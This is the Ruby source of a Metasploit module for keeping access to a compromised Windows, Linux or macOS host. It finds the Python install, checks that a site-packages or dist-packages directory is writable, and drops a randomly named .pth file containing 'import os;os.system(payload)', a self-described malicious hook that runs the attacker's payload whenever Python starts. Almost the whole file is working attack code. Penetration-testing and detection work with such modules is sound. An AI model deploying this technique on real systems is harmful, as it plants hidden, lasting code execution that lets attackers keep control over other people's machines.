## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html include Msf::Post::Linux::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Python Site-Specific Hook Persistence', 'Description' => %q{ This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. }, 'License' => MSF_LICENSE, 'Author' => [ 'msutovsky-r7', # msf module ], 'Platform' => ['linux', 'windows', 'osx'], 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'URL', 'https://docs.python.org/3/library/site.html'], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS], ], 'DisclosureDate' => '2012-09-29', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] } ) ) register_options([ OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']), OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']]) ]) end def get_hooks_path unless datastore['PYTHON_HOOK_PATH'].blank? @hooks_path = datastore['PYTHON_HOOK_PATH'] return end case session.platform when 'windows', 'win' case datastore['EXECUTION_TARGET'] when 'USER' @hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/") when 'SYSTEM' @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/" end when 'osx', 'linux' case datastore['EXECUTION_TARGET'] when 'USER' @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") when 'SYSTEM' @hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/" end end end def get_python_version case session.platform when 'windows', 'win' cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/ when 'osx', 'linux' cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ end @python_version = Regexp.last_match(1) end def check get_python_version return CheckCode::Safe('Python not present on the system') unless @python_version CheckCode::Vulnerable('Python is present on the system') end def install_persistence get_python_version unless @python_version print_status("Detected Python version #{@python_version}") get_hooks_path unless @hooks_path mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux' fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path) # check if hooks path writable begin # windows only ps payloads have writable? so try that first fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path) rescue RuntimeError filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13))) write_file(filename, '') fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename) rm_f(filename) end print_status("Got path to site-specific hooks #{@hooks_path}") file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth") @clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n" end end